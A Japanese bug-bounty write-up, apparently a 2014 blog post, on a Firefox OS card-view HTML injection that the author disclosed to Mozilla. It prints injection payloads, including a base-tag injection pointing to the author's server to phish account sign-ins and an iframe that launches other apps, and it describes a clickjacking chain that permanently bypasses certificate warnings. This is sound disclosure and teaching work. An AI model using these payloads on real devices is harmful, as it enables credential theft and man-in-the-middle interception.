「Firefox OS Advent Calendar 2014」と「脆弱性"&'<<>\ Advent Calendar 2014」の12月20日の記事です。
先月報告したFirefox OSのHTMLインジェクションバグ(Bug 1101158 )について紹介します。このバグはFirefox OS Simulatorを含む一部の環境ではまだ修正されていませんが、リスク評価の上、Mozillaよりちょうど本日(!!)、公開の許可を頂き掲載しております。
Firefox OS v2.1/v2.2には、端末のホームボタンを長押ししたときに表示されるカードビューに、HTMLインジェクションの可能な箇所がありました。カードビューとはアクティブなウィンドウの一覧を表示する機能なのですが、ウィンドウのタイトルにHTMLタグが含まれることが考慮されていませんでした。
このため、例えばGoogleで <s>pwn
を検索し、その結果画面を表示したままカードビューを開くと、タイトルに取り消し線が入ってしまいます。
ユーザーにGoogleのURLを踏ませるだけで攻撃が成立しますので、このバグを用いた攻撃は極めて容易と言えます。わざわざユーザーを怪しげな罠サイトに誘導する必要もありません。
このバグは一体どのような原因で起きてしまったのでしょうか?
Googleが出力したHTMLのソースコードを見ると、<s>pwn
という検索文字列は、このような文字実体参照になっています。
<title><s>pwn - Google 検索</title>
しかし、この文字列はDOMツリーから参照すると、<s>pwn
という文字列に復元されます。
カードビューでは、このようにしてHTMLタグが混入したタイトルを、
そのまま innerHTML
で画面に出力していたため、このような問題が起きていました。
もしこれを利用してユーザーに任意のスクリプトを実行させることができることができたなら、 このバグはmXSSの脆弱性と呼ばれていたかもしれません。
しかし、Firefox OSでは、強い権限を持つアプリに対して自動的にCSPが適用されます。CSPのおかげで、HTMLの中にインラインで含まれるスクリプトの実行は阻止されますので、このバグはXSSではなく、 任意のHTMLインジェクションとなります。
ご存知の方もいるかもしれませんが、Mozillaは危険度の高いバグを見つけた人に対して報奨金を支払う制度を行っています。私もこの報奨金を狙って脆弱性を探しているバグハンターの一人です。 私がもし仮にこの脆弱性を報告したとしても、HTMLインジェクションは一般的にXSSより危険度の低い脆弱性と見なされますから、危険度は恐らく中程度と判定され、報奨金の対象にはならないでしょう。
Firefox OSアプリに適用されるCSPはCSP 1.0という初期のバージョンで、この仕様ではbaseタグインジェクションという攻撃を防げないことが 知られています。
baseタグインジェクションとは、その名の通り、対象のサイトに<base>タグを挿入してベースURLを操作する攻撃です。
これにより、例えば <form action=“/login.php”>
のような相対パスで指定されたフォームの送信先を、罠サイトに向けることができます。
私も先ほどのバグを利用して、試しに <base href=“http://mallory.csrf.jp”>
というbaseタグを挿入してみました。
すると、幾つかのHTTPリクエストが私のサーバへ送られてくるようになりました。
そこで、このようにHTTPサーバのアクセスログを tail -f
で監視しつつ、端末を適当に操作してみました。
すると、端末上である操作をした場合に、fxa_module.htmlというHTMLファイルに対するGETリクエストが来ることが分かりました。
このfxa_module.htmlは、端末の中にあるFirefox OSアカウントのサインイン画面のHTMLリソースです。 このHTMLを私のサーバに取りに来ているということは、もしかしたら、偽のサインイン画面を用意しておけば、 アクセスしてきたユーザのFirefox OSアカウント情報を盗めるかもしれません。
そこで実際に試してみたところ、端末のSettingsアプリからFind My Deviceを選択し、 「Create account or sign in」というボタンを押した際に、この攻撃が実証できました。
この攻撃方法を付け添えれば、カードビューのHTMLインジェクションにも危険度高の判定が貰えるかもしれません。 こうした淡い期待を抱いて、このバグをMozillaに報告することにしました。
私がこのバグをMozillaに報告したのはちょうどUSの感謝祭の直前で、彼らも連休前で忙しかったためか、あるいは既に休みに入っていたのか、、何にせよ報告から3日近く経ってもレスポンスがありませんでした。
その間、私はHTMLインジェクションが秘める無限の可能性に心を奪われており、CSPによりスクリプトの実行が禁止されている中、一体どれだけ悪いことができるのかを研究していました。
そもそも最初の攻撃を行うまで見落としていたのですが、カードビューはSystemというアプリが提供する機能でした。
Systemアプリというのは、AndroidでいうところのAndroid Frameworkに相当するもので、アプリの管理をはじめとするスマホの主要機能が含まれています。
こうした理由から、Systemアプリには多くのパーミッションが与えられています。
Firefox OSのパーミッションとは、主に、特殊なJavaScript APIのアクセスを許可するものです。 例えば、Device Storage APIを使うためには、アプリに”device-storage”パーミッションが許可されていなければなりません。 多くの場合、パーミッションにはJavaScript APIとの対応関係があります。
しかし、これには例外があります。
例えば、Systemアプリに与えられている"webapps-manage"は app://
というURLを用いて他のアプリのリソースを参照できるようにするもので、
"embed-apps"は iframe[mozapp]
を用いて、他のアプリを起動できるようにするものです。
これらのパーミッションをSystemアプリが持つということは、 他のカードビューに
<iframe mozbrowser remote mozapp="app://fm.gaiamobile.org/manifest.webapp" src=“app://fm.gaiamobile.org/index.html”></iframe>
というHTMLを挿入することで、他のアプリを起動させることができるということになります。 しかも、アプリが持つ任意の画面に対して、任意のクエリ文字列やフラグメントを付けることができます。
攻撃コードはこちらです。攻撃が成功すると、カードビューの隙間から、FM Radioアプリが「こんにちはこんにちは」します。
この攻撃方法をMozillaに報告したところ、危険度高という一次評価を得ることができました。
人間は誰しも弱い生き物です。危険度の判定が下がっていないかと不安になって夜中に目が覚めたりするものです。 そこで、判定を維持するために、別の攻撃手法を開発することにしました。
着目したのはこの画面です。
HTTPSのページを開いた際に表示されるこの警告画面を、皆さんも一度は目にしたことがあると思います。
ページがHSTSやHPKPで保護されていない場合に限りますが、ユーザーはこの画面で「I Understand the Risks」→「Add permanent exception」という順にボタンを押すことで、エラーを無視してページを見ることができます。
以前、この画面にはクリックジャッキングによりユーザに証明書検証をバイパスさせることができる脆弱性が指摘されており、この対策として、現在では、フレームの中で表示された場合は「I Understand the Risks」が押せないようになっています。
しかし、この制限は、Firefox OSのブラウザAPIを使えば回避することができます。
ブラウザAPIとは、いわゆる「WebView」を表示する機能です。<iframe>にmozbrowserという属性を指定すると、iframeがブラウザウィンドウとしての機能を持つようになります。
iframe[mozbrowser]
のsrcに指定されたドキュメントは最上位のウィンドウ(window.top)で開かれたという扱いになるので、「I Understand the Risks」ボタンを押すことができるのです。
さらに、この iframe[mozbrowser]
には、任意のCSSを指定することができます。
そこで、CSSの付いた iframe[mozbrowser]
をカードビューに埋め込むことができれば、
クリックジャッキングと組み合わせて、SSL証明書のエラーをバイパスさせることができそうです。
Firefox OSシミュレータ 2.2向けの攻撃コードはこちらです。CSSの指定がいい加減なので表示が崩れるかもしれませんが、イメージは伝わるかと思います。
緑のボタンはiframeの上に配置した画像ファイルで、 pointer-events:none
というスタイルが指定されています。このため、ユーザーをそそのかして、画像の「Click Here」と書かれた緑色の部分を1→2の順に押させると、画像の背後にある警告画面の「I Understand the Risks」→「Add permanent exception」が押され、以降は iframe[src]
に指定されたドメインに対する証明書検証が行われなくなります。
さて、この「Add permanent exception」というボタンは、効果がどの程度持続するのでしょうか?
私が調べた限り、この効果は端末をリセットして初期化するまで持続します。 ブラウザの履歴を消しても無効にすることはできません。
さらに言うと、Firefox OSの証明書ストアはアプリごとに分離していません。 このため、一度このボタンを押すと、端末にインストールされた全てのアプリが 指定したドメインに対する証明書検証エラーをバイパスするようになります。
攻撃者から見ると、特定のサイトに対して、半永久的に中間者攻撃を仕掛けられるということになります。
Mozillaにはこの攻撃方法も報告し、最終的に $6000(706,955円) の報奨金を頂きました。
この記事では、CSPが適用されたアプリであっても、任意のHTMLを挿入できるだけで大きな被害が生じる可能性があるということを紹介しました。CSPの仕様書にもちゃんと書かれていますが、あくまでもCSPは保険的な対策と考え、従来どおりHTMLのケアを怠らないことが大事ですね。
それでは、Enjoy!